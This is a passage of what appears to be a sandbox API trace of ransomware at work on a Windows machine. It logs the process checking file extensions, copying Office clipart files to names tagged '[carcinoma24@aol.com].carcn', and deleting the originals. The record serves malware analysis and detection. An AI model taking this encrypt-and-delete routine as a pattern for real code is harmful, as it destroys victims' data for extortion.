[0257.377] lstrlenW (lpString=".docx") returned 5 [0257.377] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.377] lstrlenW (lpString=".pdf") returned 4 [0257.377] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.377] lstrlenW (lpString=".xls") returned 4 [0257.377] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.377] lstrlenW (lpString=".xlsx") returned 5 [0257.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.377] lstrlenW (lpString=".ppt") returned 4 [0257.377] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0257.378] lstrlenW (lpString=".zip") returned 4 [0257.378] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.378] lstrlenW (lpString=".rar") returned 4 [0257.378] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.378] lstrlenW (lpString=".bz2") returned 4 [0257.378] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.378] lstrlenW (lpString=".7z") returned 3 [0257.378] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0257.378] lstrlenW (lpString=".dbf") returned 4 [0257.378] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0257.378] lstrlenW (lpString=".1cd") returned 4 [0257.378] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0257.378] lstrlenW (lpString=".jpg") returned 4 [0257.378] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0257.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0257.378] lstrlenW (lpString=".doc") returned 4 [0257.378] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.378] lstrlenW (lpString=".docx") returned 5 [0257.378] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.378] lstrlenW (lpString=".pdf") returned 4 [0257.379] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.379] lstrlenW (lpString=".xls") returned 4 [0257.379] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.379] lstrlenW (lpString=".xlsx") returned 5 [0257.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.379] lstrlenW (lpString=".ppt") returned 4 [0257.379] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0257.379] lstrlenW (lpString=".zip") returned 4 [0257.379] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.379] lstrlenW (lpString=".rar") returned 4 [0257.379] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.379] lstrlenW (lpString=".bz2") returned 4 [0257.379] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.379] lstrlenW (lpString=".7z") returned 3 [0257.379] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0257.379] lstrlenW (lpString=".dbf") returned 4 [0257.379] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0257.380] lstrlenW (lpString=".1cd") returned 4 [0257.380] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0257.380] lstrlenW (lpString=".jpg") returned 4 [0257.380] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.380] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0257.380] lstrlenW (lpString="AG00176_.GIF") returned 12 [0257.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0257.406] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=3120) returned 1 [0257.406] CloseHandle (hObject=0x414) returned 1 [0257.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0257.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0257.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0257.427] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.427] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0257.428] GetLastError () returned 0x0 [0257.428] ReadFile (in: hFile=0x414, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xc30, lpOverlapped=0x0) returned 1 [0258.099] WriteFile (in: hFile=0x440, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xc40, lpOverlapped=0x0) returned 1 [0258.101] ReadFile (in: hFile=0x414, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0258.101] WriteFile (in: hFile=0x440, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0258.101] SetEndOfFile (hFile=0x440) returned 1 [0258.101] CloseHandle (hObject=0x440) returned 1 [0258.104] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.104] SetEndOfFile (hFile=0x414) returned 1 [0258.107] CloseHandle (hObject=0x414) returned 1 [0258.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0258.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0258.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0258.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0258.109] lstrlenW (lpString=".doc") returned 4 [0258.109] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0258.109] lstrlenW (lpString=".docx") returned 5 [0258.109] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0258.109] lstrlenW (lpString=".pdf") returned 4 [0258.109] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0258.109] lstrlenW (lpString=".xls") returned 4 [0258.109] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0258.109] lstrlenW (lpString=".xlsx") returned 5 [0258.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0258.109] lstrlenW (lpString=".ppt") returned 4 [0258.109] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0258.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0258.109] lstrlenW (lpString=".zip") returned 4 [0258.109] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0258.109] lstrlenW (lpString=".rar") returned 4 [0258.109] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0258.109] lstrlenW (lpString=".bz2") returned 4 [0258.109] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0258.109] lstrlenW (lpString=".7z") returned 3 [0258.109] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0258.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0258.109] lstrlenW (lpString=".dbf") returned 4 [0258.109] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0258.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0258.109] lstrlenW (lpString=".1cd") returned 4 [0258.109] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0258.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0258.110] lstrlenW (lpString=".jpg") returned 4 [0258.110] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0258.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0258.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0258.110] lstrlenW (lpString=".doc") returned 4 [0258.110] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0258.110] lstrlenW (lpString=".docx") returned 5 [0258.110] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0258.110] lstrlenW (lpString=".pdf") returned 4 [0258.110] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0258.110] lstrlenW (lpString=".xls") returned 4 [0258.110] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0258.110] lstrlenW (lpString=".xlsx") returned 5 [0258.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0258.110] lstrlenW (lpString=".ppt") returned 4 [0258.110] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0258.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0258.110] lstrlenW (lpString=".zip") returned 4 [0258.110] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0258.110] lstrlenW (lpString=".rar") returned 4 [0258.110] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0258.110] lstrlenW (lpString=".bz2") returned 4 [0258.110] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0258.110] lstrlenW (lpString=".7z") returned 3 [0258.110] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0258.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0258.111] lstrlenW (lpString=".dbf") returned 4 [0258.111] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0258.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0258.111] lstrlenW (lpString=".1cd") returned 4 [0258.111] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0258.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0258.111] lstrlenW (lpString=".jpg") returned 4 [0258.111] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0258.111] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0258.111] lstrlenW (lpString="AN00853_.WMF") returned 12 [0258.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0258.339] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=20578) returned 1 [0258.339] CloseHandle (hObject=0x494) returned 1 [0258.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0258.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0260.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0260.130] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.130] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0260.130] GetLastError () returned 0x0 [0260.130] ReadFile (in: hFile=0x4c8, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x5062, lpOverlapped=0x0) returned 1 [0260.169] WriteFile (in: hFile=0x4cc, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x5070, lpOverlapped=0x0) returned 1 [0260.170] ReadFile (in: hFile=0x4c8, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.170] WriteFile (in: hFile=0x4cc, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.171] SetEndOfFile (hFile=0x4cc) returned 1 [0260.171] CloseHandle (hObject=0x4cc) returned 1 [0260.176] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.176] SetEndOfFile (hFile=0x4c8) returned 1 [0260.179] CloseHandle (hObject=0x4c8) returned 1 [0260.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0260.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0260.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0260.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0260.180] lstrlenW (lpString=".doc") returned 4 [0260.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.180] lstrlenW (lpString=".docx") returned 5 [0260.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.180] lstrlenW (lpString=".pdf") returned 4 [0260.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.180] lstrlenW (lpString=".xls") returned 4 [0260.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.180] lstrlenW (lpString=".xlsx") returned 5 [0260.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.180] lstrlenW (lpString=".ppt") returned 4 [0260.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0260.180] lstrlenW (lpString=".zip") returned 4 [0260.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.180] lstrlenW (lpString=".rar") returned 4 [0260.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.180] lstrlenW (lpString=".bz2") returned 4 [0260.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.180] lstrlenW (lpString=".7z") returned 3 [0260.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0260.180] lstrlenW (lpString=".dbf") returned 4 [0260.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0260.181] lstrlenW (lpString=".1cd") returned 4 [0260.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0260.181] lstrlenW (lpString=".jpg") returned 4 [0260.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0260.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0260.181] lstrlenW (lpString=".doc") returned 4 [0260.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.181] lstrlenW (lpString=".docx") returned 5 [0260.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.181] lstrlenW (lpString=".pdf") returned 4 [0260.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.181] lstrlenW (lpString=".xls") returned 4 [0260.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.181] lstrlenW (lpString=".xlsx") returned 5 [0260.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.181] lstrlenW (lpString=".ppt") returned 4 [0260.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0260.181] lstrlenW (lpString=".zip") returned 4 [0260.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.181] lstrlenW (lpString=".rar") returned 4 [0260.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.181] lstrlenW (lpString=".bz2") returned 4 [0260.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.181] lstrlenW (lpString=".7z") returned 3 [0260.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0260.182] lstrlenW (lpString=".dbf") returned 4 [0260.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0260.182] lstrlenW (lpString=".1cd") returned 4 [0260.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0260.182] lstrlenW (lpString=".jpg") returned 4 [0260.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.182] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0260.182] lstrlenW (lpString="AN00932_.WMF") returned 12 [0260.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0260.182] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=14428) returned 1 [0260.182] CloseHandle (hObject=0x4c8) returned 1 [0260.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0260.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0260.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0260.183] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.183] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0260.184] GetLastError () returned 0x0 [0260.184] ReadFile (in: hFile=0x4c8, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x385c, lpOverlapped=0x0) returned 1 [0260.365] WriteFile (in: hFile=0x4cc, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x3860, lpOverlapped=0x0) returned 1 [0260.366] ReadFile (in: hFile=0x4c8, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.367] WriteFile (in: hFile=0x4cc, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.367] SetEndOfFile (hFile=0x4cc) returned 1 [0260.383] CloseHandle (hObject=0x4cc) returned 1 [0260.390] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.390] SetEndOfFile (hFile=0x4c8) returned 1 [0260.392] CloseHandle (hObject=0x4c8) returned 1 [0260.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0260.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0260.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0260.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0260.394] lstrlenW (lpString=".doc") returned 4 [0260.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.394] lstrlenW (lpString=".docx") returned 5 [0260.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.394] lstrlenW (lpString=".pdf") returned 4 [0260.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.394] lstrlenW (lpString=".xls") returned 4 [0260.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.394] lstrlenW (lpString=".xlsx") returned 5 [0260.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.394] lstrlenW 